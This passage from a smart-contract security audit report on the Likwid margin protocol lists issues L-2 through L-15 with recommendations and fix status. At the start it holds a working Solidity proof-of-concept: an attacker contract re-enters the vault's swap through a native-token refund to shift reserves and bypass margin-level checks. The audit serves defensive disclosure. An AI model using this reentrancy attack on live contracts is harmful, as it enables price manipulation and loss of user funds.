    bool public didReenter;
    bool private _entered;

    constructor(
        LikwidVault _vault,
        LikwidMarginPosition _marginPositionManager,
        PoolKey memory _key,
        MockERC20 _token0,
        MockERC20 _token1
    ) {
        vault = _vault;
        marginPositionManager = _marginPositionManager;
        key = _key;
        token0 = _token0;
        token1 = _token1;
    }

    function setSwapAmount(uint256 newSwapAmount) external {
        swapAmount = newSwapAmount;
    }

    function attackModify(uint256 tokenId, int128 changeAmount) external payable {
        marginPositionManager.modify{value: msg.value}(tokenId, changeAmount);
    }

    receive() external payable {
        if (_entered || swapAmount == 0) return;
        _entered = true;
        didReenter = true;

        IVault.SwapParams memory params =
            IVault.SwapParams({zeroForOne: true, amountSpecified:
             ↪  -int256(swapAmount), useMirror: false, salt: bytes32(0)});

        (BalanceDelta delta,,) = vault.swap(key, params);

        _settleSwapDelta(delta);

        _entered = false;
    }

    function _settleSwapDelta(BalanceDelta delta) internal {
        int128 amount0 = delta.amount0();
        int128 amount1 = delta.amount1();

        if (amount0 < 0) {
            vault.sync(key.currency0);
            token0.transfer(address(vault), uint256(int256(-amount0)));
            vault.settle();
        } else if (amount0 > 0) {
            vault.take(key.currency0, address(this), uint256(int256(amount0)));
        }

        if (amount1 < 0) {
            vault.sync(key.currency1);
            token1.transfer(address(vault), uint256(int256(-amount1)));
            vault.settle();
        } else if (amount1 > 0) {
            vault.take(key.currency1, address(this), uint256(int256(amount1)));
        }
    }
}

contract LikwidMarginPositionReentrancyTest is Test {
    using CurrencyLibrary for Currency;
    using PoolIdLibrary for PoolKey;
    using MarginPosition for MarginPosition.State;
    using MarginLevelsLibrary for MarginLevels;

    LikwidVault vault;
    LikwidMarginPosition marginPositionManager;
    LikwidPairPosition pairPositionManager;
```

```solidity
LikwidHelper helper;

PoolKey key;
MockERC20 token0;
MockERC20 token1;
Currency currency0;
Currency currency1;

function setUp() public {
    vault = new LikwidVault(address(this));
    marginPositionManager = new LikwidMarginPosition(address(this), vault);
    pairPositionManager = new LikwidPairPosition(address(this), vault);
    helper = new LikwidHelper(address(this), vault);

    address tokenA = address(new MockERC20("TokenA", "TKNA", 18));
    address tokenB = address(new MockERC20("TokenB", "TKNB", 18));

    if (tokenA < tokenB) {
        token0 = MockERC20(tokenA);
        token1 = MockERC20(tokenB);
    } else {
        token0 = MockERC20(tokenB);
        token1 = MockERC20(tokenA);
    }

    currency0 = Currency.wrap(address(token0));
    currency1 = Currency.wrap(address(token1));

    vault.setMarginController(address(marginPositionManager));

    token0.approve(address(vault), type(uint256).max);
    token1.approve(address(vault), type(uint256).max);
    token0.approve(address(marginPositionManager), type(uint256).max);
    token1.approve(address(marginPositionManager), type(uint256).max);
    token0.approve(address(pairPositionManager), type(uint256).max);
    token1.approve(address(pairPositionManager), type(uint256).max);

    key = PoolKey({currency0: currency0, currency1: currency1, fee: 3000,
     ↪  marginFee: 3000});
    vault.initialize(key);

    uint256 amount0ToAdd = 10e18;
    uint256 amount1ToAdd = 20e18;
    token0.mint(address(this), amount0ToAdd);
    token1.mint(address(this), amount1ToAdd);
    pairPositionManager.addLiquidity(key, address(this), amount0ToAdd,
     ↪  amount1ToAdd, 0, 0, 10000);
}

function testModify_ReentrantSwapCanChangePairReservesDuringUnlock() public {
        ReentrantModifyAttacker attacker =
            new ReentrantModifyAttacker(vault, marginPositionManager, key, token0,
             ↪  token1);

        uint256 marginAmount = 0.1e18;
        token0.mint(address(this), marginAmount);

        IMarginPositionManager.CreateParams memory params =
         ↪  IMarginPositionManager.CreateParams({
            marginForOne: false,
            leverage: 2,
            marginAmount: uint128(marginAmount),
            borrowAmount: 0,
            borrowAmountMax: 0,
            recipient: address(attacker),
            deadline: block.timestamp
        });

        (uint256 tokenId,,) = marginPositionManager.addMargin(key, params);

        uint256 maxDecrease = helper.getMaxDecrease(tokenId);
        assertGt(maxDecrease, 0, "maxDecrease should be > 0");
        uint256 decreaseAmount = maxDecrease / 2;
        assertGt(decreaseAmount, 0, "decreaseAmount should be > 0");

        uint256 swapAmount = 5e18;
        token0.mint(address(attacker), swapAmount);
        attacker.setSwapAmount(swapAmount);

        Reserves pairBefore = StateLibrary.getPairReserves(vault, key.toId());

        attacker.attackModify{value: 1}(tokenId, -int128(int256(decreaseAmount)));

        assertTrue(attacker.didReenter(), "attacker should reenter via native
         ↪  refund");

        Reserves pairAfter = StateLibrary.getPairReserves(vault, key.toId());
        assertTrue(pairAfter != pairBefore, "pairReserves should change via
         ↪  reentrant swap");

        MarginPosition.State memory position =
         ↪  marginPositionManager.getPositionState(tokenId);
        PoolState memory state = CurrentStateLibrary.getState(vault, key.toId());
        uint256 level = position.marginLevel(state.pairReserves);
        uint24 minBorrowLevel =
         ↪  marginPositionManager.marginLevels().minBorrowLevel();
        assertLt(level, minBorrowLevel, "position should be below minBorrowLevel
         ↪  after reentrant price move");
    }
}
```

Impact

Safety invariant bypass: collateral removal / repay can succeed even if the position would be unhealthy under the real post-unlock reserves. Even though the currently presented attack cannot bring direct profit to the attacker, it may be combined with other attacks to cause greater harm.

Code Snippet

https://github.com/sherlock-audit/2025-12-likwid-protocol-dec-22nd/blob/2a886b895d2450a4967f960e570de3b87ca6bb6a/likwid-margin/src/LikwidMarginPosition.sol#L630

Tool Used

Manual Review

Recommendation

- Always validate against fresh post-unlock pool reserves:
  - After `vault.unlock(data)`, read `pairReserves` and `truncatedReserves` from storage (e.g., `StateLibrary.getPairReserves(vault, poolId)` and `StateLibrary.getTruncatedReserves(vault, poolId)`) and pass those into `_checkMinLevelAfterUnlock`.

Discussion

finezoo

Fix commit hash: fixed

Issue L-2: `Fees` event `feeAmount` excludes protocol-fee portion (LP-only amount is emitted) [RESOLVED]

Source: https://github.com/sherlock-audit/2025-12-likwid-protocol-dec-22nd/issues/62

Summary

In `LikwidVault.marginBalance()` and `LikwidVault.swap()`, the `feeAmount` emitted in the `Fees` event is the *remaining* fee after `ProtocolFeeLibrary.splitFee(...)` has subtracted the protocol-fee portion. The protocol-fee portion is accounted for separately via `_updateProtocolFees(...)` but is not emitted in the `Fees` event. As a result, off-chain consumers interpreting `Fees.feeAmount` as the "total fee paid" will undercount fees.

Vulnerability Detail

- `ProtocolFeeLibrary.splitFee(...)` returns `(protocolFee, remainingFee)` and sets `remainingFee = feeAmount - protocolFee`: `src/libraries/ProtocolFeeLibrary.sol:71-82`.
- In the margin flow, `Pool.margin(...)` calls `splitFee(...)` and *mutates* `params.marginFeeAmount` / `params.swapFeeAmount` to the returned `remainingFee`, while returning protocol-fee amounts separately as `marginToProtocol` / `swapToProtocol`: `src/libraries/Pool.sol:321-373` (notably `src/libraries/Pool.sol:333-340`).
  - `LikwidVault.marginBalance(...)` then emits `Fees(..., params.marginFeeAmount)` and `Fees(..., params.swapFeeAmount)` using these post-split (LP-only) values, while the protocol-fee amounts are only applied to protocol accounting via `_updateProtocolFees(...)`: `src/LikwidVault.sol:186-221` (notably `src/LikwidVault.sol:205-218`).
- In the swap flow, `Pool.swap(...)` also calls `splitFee(...)` and returns `feeAmount` as the post-split `remainingFee`, while returning `amountToProtocol` separately: `src/libraries/Pool.sol:205-279` (notably `src/libraries/Pool.sol:223-247`).
  - `LikwidVault.swap(...)` emits `Fees(..., feeAmount)` for that post-split amount, and applies `amountToProtocol` via `_updateProtocolFees(...)`: `src/LikwidVault.sol:120-171` (notably `src/LikwidVault.sol:151-159`).
- This is potentially misleading because:
  - `IVault.Fees` docs state `feeAmount` is "The amount of the fee": `src/interfaces/IVault.sol:77`.
  - `Pool.swap(...)` docs state `feeAmount` is "The total fee amount for the swap.": `src/libraries/Pool.sol:214-219`.

If the intended semantics are "`Fees` logs LP fees only (net-of-protocol)", then the implementation is consistent but the naming/docs are misleading. If the intended semantics are “`Fees` logs total paid fees”, then the event is incorrect.

Impact

- Off-chain indexers/analytics/UIs that interpret `Fees.feeAmount` as the total fee paid by the user (or total fee accrued by the pool) will underreport fees by the protocol-fee portion.
- Any off-chain accounting that relies on `Fees` events to compute aggregate fee metrics (e.g., fee APR, revenue share, fee rebates) may be wrong unless it separately reads protocol-fee deltas from storage or infers them from other sources.

Code Snippet

https://github.com/sherlock-audit/2025-12-likwid-protocol-dec-22nd/tree/main/likwid-margin/src/LikwidVault.sol#L205

Tool Used

Manual Review

Recommendation

- Decide and document the intended meaning of `Fees.feeAmount`:
  - If it should represent *total fees paid* (LP + protocol), emit `feeAmount + amountToProtocol` / `params.*FeeAmount + *FeesToProtocol` in `LikwidVault.swap()` and `LikwidVault.marginBalance()`, or emit a second event for the protocol-fee portion.
  - If it should represent *LP-only fees* (net-of-protocol), update NatSpec/comments to reflect this:
    - Change `IVault.Fees` docstring to explicitly say the amount excludes protocol-fee portion.
    - Fix `Pool.swap(...)` return-value comment to state it returns the net-of-protocol fee amount (or rename the return value to `lpFeeAmount`).

Discussion

finezoo

Fix commit hash: fixed

Issue L-3: `Pool.swap()` returns `feeAmount` net of protocol fee, contradicting comment and `Fees` event semantics [RESOLVED]

Source: https://github.com/sherlock-audit/2025-12-likwid-protocol-dec-22nd/issues/63

Summary

In `Pool.swap()`, the return value `feeAmount` is documented as "The total fee amount for the swap", but the implementation overwrites it with the post-split remainder after subtracting the protocol-fee portion. `LikwidVault.swap()` then emits `Fees(..., feeAmount)` using this net-of-protocol value, while the protocol-fee portion is only tracked in storage via `protocolFeesAccrued` and not emitted.

Vulnerability Detail

- `Pool.swap()` computes `feeAmount` via `SwapMath.getAmountOut/getAmountIn(...)`, which represents the swap fee charged by the pool's `lpFee` (i.e., the total fee charged on the input amount for that swap fee rate): `src/libraries/Pool.sol:219-227`, `src/libraries/SwapMath.sol:137-147`.
- Immediately after, `Pool.swap()` calls `ProtocolFeeLibrary.splitFee(...)` and assigns the returned `remainingFee` back into `feeAmount`:
  - `(amountToProtocol, feeAmount) = ProtocolFeeLibrary.splitFee(..., feeAmount);`
  - `src/libraries/Pool.sol:229-231`, `src/libraries/ProtocolFeeLibrary.sol:71-82`.
  - After this line, `feeAmount` no longer represents the total fee; it represents the fee remainder (effectively "LP portion"), while `amountToProtocol` represents the protocol portion.
- However, the function-level NatSpec states:
  - `@return feeAmount The total fee amount for the swap.`
  - `src/libraries/Pool.sol:204`.
- Downstream, `LikwidVault.swap()` emits `Fees(..., feeAmount)` using this net-of-protocol value and accounts for the protocol portion via `_updateProtocolFees(feeCurrency, amountToProtocol)`, without emitting any event for the protocol portion:
  - `src/LikwidVault.sol:151-159`, `src/base/ProtocolFees.sol:82-86`.

If the intended semantics are that `Fees.feeAmount` represents "fees distributed to LPs" (net-of-protocol), then the implementation is consistent but comments and event expectations are misleading. If the intended semantics are that `Fees.feeAmount` represents “total fees paid”, then the event and/or return value are incorrect.

Impact

- Off-chain consumers (indexers, dashboards, accounting systems) that interpret `Fees.feeAmount` or `Pool.swap()`’s `feeAmount` return as total swap fees will undercount by the protocol-fee portion.
- This can lead to incorrect fee analytics, APR calculations, and revenue attribution unless protocol fees are separately accounted for from storage or additional events.

Code Snippet

https://github.com/sherlock-audit/2025-12-likwid-protocol-dec-22nd/tree/main/likwid-margin/src/libraries/Pool.sol#L204

Tool Used

Manual Review

Recommendation

- Align naming/docs/events with the actual value:
  - Update `Pool.swap()` NatSpec to state `feeAmount` is net-of-protocol (LP portion), or rename the return variable to `lpFeeAmount`.
  - Update `IVault.Fees` documentation to clarify whether `feeAmount` includes or excludes protocol fees.
- If the desired behavior is to emit total fees paid, change `LikwidVault.swap()` to emit `feeAmount + amountToProtocol` (or emit separate events for LP fee and protocol fee).

Discussion

finezoo

Fix commit hash: fixed

Issue L-4: `truncatedReserves` price-truncation window uses `timeElapsed**2`, collapsing the intended “max price move per second” protection within ~2 mainnet blocks [RESOLVED]

Source: https://github.com/sherlock-audit/2025-12-likwid-protocol-dec-22nd/issues/64

Summary

`PriceMath.transferReserves()` computes `priceMoved = maxPriceMovePerSecond * (timeElapsed ** 2)` (`src/libraries/PriceMath.sol:25`). Given `maxPriceMovePerSecond` is configured and documented as a per-second limit (default `3000` = 0.3%/s in millionths, `src/base/MarginBase.sol:33`), squaring `timeElapsed` makes the allowed movement grow quadratically instead of linearly.

On Ethereum mainnet (~12s block time), this causes the truncation window to effectively “catch up” to spot reserves in as little as ~2 blocks (because `priceMoved >= 1e6` triggers `PerLibrary.lowerMillion()` to return `0`, disabling the lower-bound clamp). This materially weakens the protocol’s anti-manipulation assumptions for:

- Dynamic fee calculation (which uses `truncatedReserves` as the checkpoint in `SwapMath.getPriceDegree`).
- Liquidation checks (which use `truncatedReserves` in `MarginPosition.marginLevel` via `LikwidMarginPosition._checkLiquidate`).

Vulnerability Detail

Where the quadratic scaling is introduced

In `PriceMath.transferReserves()`:

- `priceMoved` is meant to represent the maximum permissible price movement since the last update, expressed in millionths (1e6 = 100%).
- However, it is computed with `timeElapsed ** 2`:
  - `uint256 priceMoved = maxPriceMovePerSecond * (timeElapsed ** 2);` (`src/libraries/PriceMath.sol:25`)

This value is then used to clamp the *new* reserve ratio relative to the prior truncated reserve ratio via:

- `truncatedReserve0.lowerMillion(priceMoved)` / `upperMillion(priceMoved)` (`src/libraries/PriceMath.sol:31-33`)

Why this makes the clamp fail quickly

`PerLibrary.lowerMillion(x, per)` returns `0` when `per >= 1e6` (instead of reverting or saturating):

- `if (per >= ONE_MILLION) { return z; }` where `z` defaults to `0` (`src/libraries/PerLibrary.sol:34-38`)

Once `priceMoved >= 1e6`, the computed `reserve0Min` becomes `0`, and `reserve0Max` becomes extremely large (since `upperMillion` does not cap `per`). As a result, the `_reserve0` from `destReserves` will almost always fall within `[reserve0Min, reserve0Max]`, so:

- `newTruncatedReserve0` becomes `_reserve0` (`src/libraries/PriceMath.sol:39`)
- `result` becomes `destReserves` (i.e., truncated reserves immediately match spot reserves) (`src/libraries/PriceMath.sol:41`)

Ethereum mainnet 12s-block analysis

Default parameter:

- `maxPriceMovePerSecond = 3000` (0.3%/s, millionths) (`src/base/MarginBase.sol:33`)

Current implementation (quadratic):

- After 1 block (`timeElapsed ~= 12`): `priceMoved = 3000 * 122 = 432,000` (43.2%)
- After 2 blocks (`timeElapsed ~= 24`): `priceMoved = 3000 * 242 = 1,728,000 >= 1,000,000`
  - This immediately disables `lowerMillion` clamping and makes `truncatedReserves   pairReserves`.

Critical threshold:

- `3000 * timeElapsed2 >= 1e6` □ `timeElapsed >= sqrt(333.33...)   18.26s`, i.e., just over ~1.5 mainnet blocks.

Intended semantics (linear per-second limit) would instead be:

- `priceMoved = 3000 * timeElapsed`
  - 1 block (12s): 36,000 (3.6%)
  - 2 blocks (24s): 72,000 (7.2%)
  - Requires ~333s (~28 blocks) to reach 1e6

Reachable execution paths

The vulnerable computation is reachable through both state updates and view/state reads:

- State update path: `LikwidVault._getAndUpdatePool()` (`src/LikwidVault.sol:330`) → `Pool.updateInterests()` (`src/libraries/Pool.sol:388`) → `PriceMath.transferReserves()` (`src/libraries/Pool.sol:466-468`).
- View/state read path used by liquidation checks: `LikwidMarginPosition._getPoolState()` (`src/LikwidMarginPosition.sol:715-717`) → `CurrentStateLibrary.getState()` (`src/libraries/CurrentStateLibrary.sol:63-128`) → `PriceMath.transferReserves()` (`src/libraries/CurrentStateLibrary.sol:126-128`) → `_checkLiquidate()` uses `state.truncatedReserves` (`src/LikwidMarginPosition.sol:92-106`).

Impact

- **Weakened anti-manipulation window for dynamic fees**: `SwapMath.getPriceDegree()` uses `truncatedReserves` as the "last price checkpoint" (`src/libraries/SwapMath.sol:43-77`). If `truncatedReserves` catches up to spot within ~2 blocks, an attacker only needs to sustain a manipulated price briefly to avoid the intended dynamic fee penalty across blocks.
- **Weakened liquidation safety assumptions:** liquidation eligibility in `_checkLiquidate()` is evaluated using `state.truncatedReserves` (`src/LikwidMarginPosition.sol:99-101`). With the window collapsing in ~2 blocks, cross-block price manipulation can more readily push positions below the liquidation threshold based on near-spot reserves, reducing the intended smoothing/lag effect and increasing MEV/sandwich-style liquidation risk.

Code Snippet

https://github.com/sherlock-audit/2025-12-likwid-protocol-dec-22nd/tree/main/likwid-margin/src/libraries/PriceMath.sol#L25

https://github.com/sherlock-audit/2025-12-likwid-protocol-dec-22nd/tree/main/likwid-margin/src/libraries/PerLibrary.sol#L34

https://github.com/sherlock-audit/2025-12-likwid-protocol-dec-22nd/tree/main/likwid-margin/src/libraries/Pool.sol#L466

https://github.com/sherlock-audit/2025-12-likwid-protocol-dec-22nd/tree/main/likwid-margin/src/LikwidMarginPosition.sol#L99

Tool Used

Manual Review

Recommendation

- Replace the quadratic scaling with linear scaling consistent with the parameter name and comment:

- `priceMoved = uint256(maxPriceMovePerSecond) * timeElapsed;`

- Add explicit saturation/guardrails to avoid `per >= 1e6` silently disabling the clamp (e.g., clamp to `PerLibrary.ONE_MILLION - 1`, or return `destReserves` directly once the window is fully open).

Discussion

finezoo

Fix commit hash: fixed

Issue L-5: Dust interest is lost due to Q96 truncation in `updateInterestForOne` [RESOLVED]

Source: https://github.com/sherlock-audit/2025-12-likwid-protocol-dec-22nd/issues/66

Summary

`InterestMath.updateInterestForOne` converts `allInterest` from Q96 precision to whole-token units via integer division and then sets `newInterestReserve = 0`. This drops the sub-token remainder (`allInterest % FixedPoint96.Q96`) on every accrual, causing permanent "dust" loss and long-term accounting drift.

Vulnerability Detail

In `src/libraries/InterestMath.sol`, `allInterest` is computed in Q96 units. The implementation then does:

- `uint256 allInterestNoQ96 = allInterest / FixedPoint96.Q96;`
- distributes `allInterestNoQ96` (after subtracting protocol fee in whole tokens), and
- sets `result.newInterestReserve = 0;`

Because integer division truncates, the remainder `allInterest - (allInterest / Q96) * Q96` is discarded rather than carried forward. Over many updates, this causes cumulative interest/reserve mismatch (small per-update, but unbounded over time).

Note: a proposed fix like `newInterestReserve = allInterest - allInterestNoQ96 * Q96` is only correct if `allInterestNoQ96` is the **gross** token amount (`allInterest / Q96`). In the current code, `allInterestNoQ96` is later mutated by subtracting `protocolInterest / Q96`, so using it would incorrectly retain already-accounted protocol-fee whole-token amounts and risk double counting.

Impact

- Systematic loss of accrued interest "dust" (< 1 token per update per side), causing long-term drift between theoretical accrued interest and recorded reserves.
- Increases the likelihood of subtle accounting inconsistencies in invariants or fee attribution (especially for low-liquidity pools or high-frequency updates).

Code Snippet

https://github.com/sherlock-audit/2025-12-likwid-protocol-dec-22nd/tree/main/likwid-margin/src/libraries/InterestMath.sol#L102-L123

Tool Used

Manual Review

Recommendation

Carry forward the Q96 remainder as `interestReserve` instead of discarding it. Concretely:

- Compute the gross whole-token amount once: `grossTokens = allInterest / FixedPoint96.Q96`
- Distribute only `grossTokens` (splitting protocol fee and net interest in whole tokens as today)
- Store the remainder as: `result.newInterestReserve = allInterest - grossTokens * FixedPoint96.Q96` (equivalently `allInterest % FixedPoint96.Q96`)

Example patch sketch (showing only the relevant part):

```
uint256 grossTokens = allInterest / FixedPoint96.Q96;
uint256 remainder = allInterest - grossTokens * FixedPoint96.Q96;

result.protocolInterest = protocolInterest / FixedPoint96.Q96;
uint256 netTokens = grossTokens - result.protocolInterest;

// distribute netTokens into pair/lend and mirror (as today)
// ...

result.newInterestReserve = remainder;
```

Discussion

finezoo

Fix commit hash: fixed

Issue L-6: Lack of marginFee validation in BasePositionManager._mintPosition() [RESOLVED]

Source: https://github.com/sherlock-audit/2025-12-likwid-protocol-dec-22nd/issues/67

Summary

There's a lack of `marginFee` validation if `poolId` is new in the `poolKeys` array.
But `poolId` is unique, so `MismatchedPoolKey()` event can't be happened.

Vulnerability Detail

In `BasePositionManager._mintPosition()`, if `poolId` is not exist, there's a validation. But pool key is consist of currency0, currency1, fee and also marginFee. This marginFee is not included in validation.

```
        if (poolKeys[poolId].currency1 == Currency.wrap(address(0))) {
            poolKeys[poolId] = key;
        } else {
            PoolKey memory existingKey = poolKeys[poolId];
>>          if (
                !(
                    existingKey.currency0 == key.currency0 && existingKey.currency1
                     ↪  == key.currency1
                        && existingKey.fee == key.fee
                )
            ) {
                MismatchedPoolKey.selector.revertWith();
            }
        }
```

`poolId := keccak256(poolKey, 0x80)` that is unique, so this validation can be needless.

Impact

There's lack of marginFee validation when checking existing poolKey

Code Snippet

https://github.com/sherlock-audit/2025-12-likwid-protocol-dec-22nd/tree/main/likwid-margin/src/base/BasePositionManager.sol#L101-L104

Tool Used

Manual Review

Recommendation

Append `marginFee` check if poolKey is already exist.

Discussion

finezoo

Fix commit hash: fixed

Issue L-7: LikwidMarginPosition._checkLiquidate() skips at liquidatedLevel [RESOLVED]

Source: https://github.com/sherlock-audit/2025-12-likwid-protocol-dec-22nd/issues/68

Summary

`LikwidMarginPosition._checkLiquidate()` skips at `liquidatedLevel`, so can't be liquidated at this level.

Vulnerability Detail

In Doc: `When margin level drops to !Opt1.1, the position becomes undercollateralized and liquidation begins`

```
    function _checkLiquidate(PoolState memory state, MarginPosition.State memory
     ↪  position)
        internal
        view
        returns (bool liquidated, uint256 marginAmount, uint256 marginTotal,
         ↪  uint256 debtAmount)
    {
        (uint256 borrowCumulativeLast, uint256 depositCumulativeLast) =
            _getPoolCumulativeValues(state, position.marginForOne);
        // use truncatedReserves
        uint256 level = position.marginLevel(state.truncatedReserves,
         ↪  borrowCumulativeLast, depositCumulativeLast);
>>      liquidated = level < marginLevels.liquidateLevel();
        ...
```

`This means that liquidation can't be success at liquidateLevel. This is inconsistent with Docs.`

Impact

`Inconsistency between Docs and implementation`

Code Snippet

`https://github.com/sherlock-audit/2025-12-likwid-protocol-dec-22nd/tree/main/likwid-margin/src/LikwidMarginPosition.sol#L101`

Tool Used

`Manual Review`

Recommendation

`Update statement as follow: liquidated = level <= marginLevels.liquidateLevel();`

Discussion

finezoo

`Fix commit hash: fixed`

Issue L-8: Liquidated or fully-closed margin positions are not burned and modfiy() is available for this position [ACKNOWLEDGED]

Source:
https://github.com/sherlock-audit/2025-12-likwid-protocol-dec-22nd/issues/69

This issue has been acknowledged by the team but won't be fixed at this time.

Summary

Liquidated or fully-closed margin positions are not burned and modfiy() is available for these positions

Vulnerability Detail

After liquidated or fully-closed margin positions, modify() can be called for these positions to add liquidity. This can cause user funds locked permanently in these positions.

Impact

User funds can be locked

Code Snippet

https://github.com/sherlock-audit/2025-12-likwid-protocol-dec-22nd/tree/main/likwid-margin/src/LikwidMarginPosition.sol#L476

Tool Used

Manual Review

Recommendation

Burn the tokenId and clear poolIds[tokenId] and positionInfos[tokenId] after liquidation or fully-closed

Discussion

likwid-tech

Disposition: Won't Fix

Let's put this issue aside for now. There's not a huge risk involved.

Issue L-9: ProtocolFees.collectProtocolFees() can revert [RESOLVED]

Source:
https://github.com/sherlock-audit/2025-12-likwid-protocol-dec-22nd/issues/70

Summary

ProtocolFees.collectProtocolFees() can revert due to underflows.

Vulnerability Detail

```
    function collectProtocolFees(address recipient, Currency currency, uint256
     ↪  amount)
        external
        returns (uint256 amountCollected)
    {
        if (msg.sender != protocolFeeController)
         ↪  InvalidCaller.selector.revertWith();
        if (!currency.isAddressZero() && syncedCurrency == currency) {
            // prevent transfer between the sync and settle balanceOfs (native
             ↪  settle uses msg.value)
            ProtocolFeeCurrencySynced.selector.revertWith();
        }
        if (recipient == address(0)) InvalidRecipient.selector.revertWith();

>>      amountCollected = (amount == 0) ? protocolFeesAccrued[currency] : amount;
        protocolFeesAccrued[currency] -= amountCollected;
        currency.transfer(recipient, amountCollected);
    }
```

If amount > protocolFeesAccrued[currency], underflows and reverts.

Impact

collectProtocolFees() function can revert due to underflow

Code Snippet

https://github.com/sherlock-audit/2025-12-likwid-protocol-dec-22nd/tree/main/likwid-margin/src/base/ProtocolFees.sol#L476

Tool Used

Manual Review

Recommendation

Update amountCollected as follows:

```
amountCollected = (amount > protocolFeesAccrued[currency]) ?
 ↪  protocolFeesAccrued[currency] : amount;
```

Discussion

finezoo

Fix commit hash: fixed

Issue L-10: Missing check for margin fee in _minPosition() [RESOLVED]

Source:
https://github.com/sherlock-audit/2025-12-likwid-protocol-dec-22nd/issues/75

Summary

In BasePositionManager#_mintPosition() we check that the key is not mismatched here

https://github.com/sherlock-audit/2025-12-likwid-protocol-dec-22nd/blob/2a886b895d2450a4967f960e570de3b87ca6bb6a/likwid-margin/src/base/BasePositionManager.sol#L102-L112

But there is not check that the margin fee matches.

Vulnerability Detail

No way to get into a state where the key is mismatched has been identified so there this is currently not an issue. If the code is updated such that it is possible having a check for the marginFee will guarantee that there is no mismatch

Recommendation

Add check for marginFee

Discussion

finezoo

Fix commit hash: fixed

Issue L-11: Misleading naming in applyDelta function [RESOLVED]

Source:
https://github.com/sherlock-audit/2025-12-likwid-protocol-dec-22nd/issues/76

Summary

When applying delta in reserves#applyDelta() we can pass a enableOverflow parameter. This parameter will enable underflow protection when the reserve is smaller than the amount deducted

https://github.com/sherlock-audit/2025-12-likwid-protocol-dec-22nd/blob/2a886b895d2450a4967f960e570de3b87ca6bb6a/likwid-margin/src/types/Reserves.sol#L117-L125

Recommendation

Change the name of this parameter to enableUnderFlow.

Discussion

finezoo

Fix commit hash: fixed

Issue L-12: Slight inaccuracy in interest distribution when setProtocolFee updates fee parameters [ACKNOWLEDGED]

Source:
https://github.com/sherlock-audit/2025-12-likwid-protocol-dec-22nd/issues/77

This issue has been acknowledged by the team but won't be fixed at this time.

Summary

When the fee is set with ProtocolFees#setProtocolFee() it is possible that the fee is not distributed and the new protocol fee percentage is applied on interest generated in the past.

Vulnerability Detail

When setProtocolFee() is called we distribute interest with the previous fee parameters in the call

https://github.com/sherlock-audit/2025-12-likwid-protocol-dec-22nd/blob/2a886b895d2450a4967f960e570de3b87ca6bb6a/likwid-margin/src/base/ProtocolFees.sol#L52

If the protocolInterest > FixedPoint96.Q96 interest is not distributed before the parameter is updated

https://github.com/sherlock-audit/2025-12-likwid-protocol-dec-22nd/blob/2a886b895d2450a4967f960e570de3b87ca6bb6a/likwid-margin/src/libraries/InterestMath.sol#L102

When interest is distributed after the state update, the new protocol fee parameter will be used.

Recommendation

A potential solution is to add a forced bool _getAndUpdatePool(key, forced) that forces distribution in all cases that we can used before the fee is changed. This will round the protocols interest to 0 for the dust amount but will not lead to users receiving less interest than expected.

Discussion

likwid-tech

Disposition: Won't Fix (by design)

Let's put this issue aside for now. There's not a huge risk involved, and handling it within the contract is a very complex process.

Issue L-13: Potential drift in interest distribution if protocolInterest is set to 0 [RESOLVED]

Source:
https://github.com/sherlock-audit/2025-12-likwid-protocol-dec-22nd/issues/78

Summary

When is set to protocolInterst ==0, interest can be distributed every block as long as params.borrowCumulativeLast > params.borrowCumulativeBefore. Each call will round down in favor of the lendReserve. This could compound to tangible amounts on a high throughput chain

Vulnerability Detail

We round down the pairInterest portion here https://github.com/sherlock-audit/2025-12-likwid-protocol-dec-22nd/blob/2a886b895d2450a4967f960e570de3b87ca6bb6a/likwid-margin/src/libraries/InterestMath.sol#L102-L107

For a token like cBTC with 8 decimals, 1 satoshi worth ~ $0.001 (with BTC at 100k). Assume we on average round down 0.5 satoshis ~ $0.0005.

Assuming activity in every block on a chain with 200ms blocktime. Per day ~ 5*0.0005*60*60*24= $216.

Worst case example:

If deployed on chain with very small blocktime e.g. MegaETH with 1ms and if Bitcoin is 10x the current price. Per day ~ 1000*0.0005*60*60*24= $432000 in drift.

Recommendation

Consider accumulating the newInterestReserve when minDiff < params.borrowCumulativeLast - params.borrowCumulativeBefore in updateInterestForOne.

Discussion

finezoo

Fix commit hash: fixed

Issue L-14: Incorrect mirror ratio calculation when adding leverage [ACKNOWLEDGED]

Source:
https://github.com/sherlock-audit/2025-12-likwid-protocol-dec-22nd/issues/79

This issue has been acknowledged by the team but won't be fixed at this time.

Summary

When adding leverage we make sure that the mirror ratio is not above MAX_MIRROR_RATIO but we are not accounting for the decrease in the real reserves due to the protocol fee taken.

Vulnerability Detail

We check that the mirror reserve is not above the max limit here

https://github.com/sherlock-audit/2025-12-likwid-protocol-dec-22nd/blob/2a886b895d2450a4967f960e570de3b87ca6bb6a/likwid-margin/src/LikwidMarginPosition.sol#L265-L268

But we are not accounting for the decrease in the real reserves due to the protocol fee

https://github.com/sherlock-audit/2025-12-likwid-protocol-dec-22nd/blob/2a886b895d2450a4967f960e570de3b87ca6bb6a/likwid-margin/src/libraries/Pool.sol#L368

It is therefore possible that we are above the MAX_MIRROR_RATIO but still allow adding margin

Recommendation

Calculate the protocolFee here and deduct it from the real reserve for an exact mirror rate calculation.

Discussion

likwid-tech

Disposition: Won't Fix (by design)

Let's put this issue aside for now. The MAX_MIRROR_RATIO parameter is intended to serve an auxiliary role within the protocol, rather than acting as a strict, enforced constraint.

Issue L-15: Consider not taking a fee when bad debt is accumulated [RESOLVED]

Source:
https://github.com/sherlock-audit/2025-12-likwid-protocol-dec-22nd/issues/80

Summary

When bad debt is accumulated the protocol should might not want to take a fee and instead cover part of the debt.

Vulnerability Detail

Currently the protocol fee is taken even when bad debt is accumulated. This fee could itself lead to bad debt if the current debt after the profit for the liquidator is exactly 0.

https://github.com/sherlock-audit/2025-12-likwid-protocol-dec-22nd/blob/2a886b895d2450a4967f960e570de3b87ca6bb6a/likwid-margin/src/LikwidMarginPosition.sol#L492-L494

This is an architecturally choice but consider prioritizing less loss for user when bad debt is accumulated

Recommendation

Consider not charging the fee when a liquidation leads to bad debt.

Discussion

finezoo

Fix commit hash: fixed

Disclaimers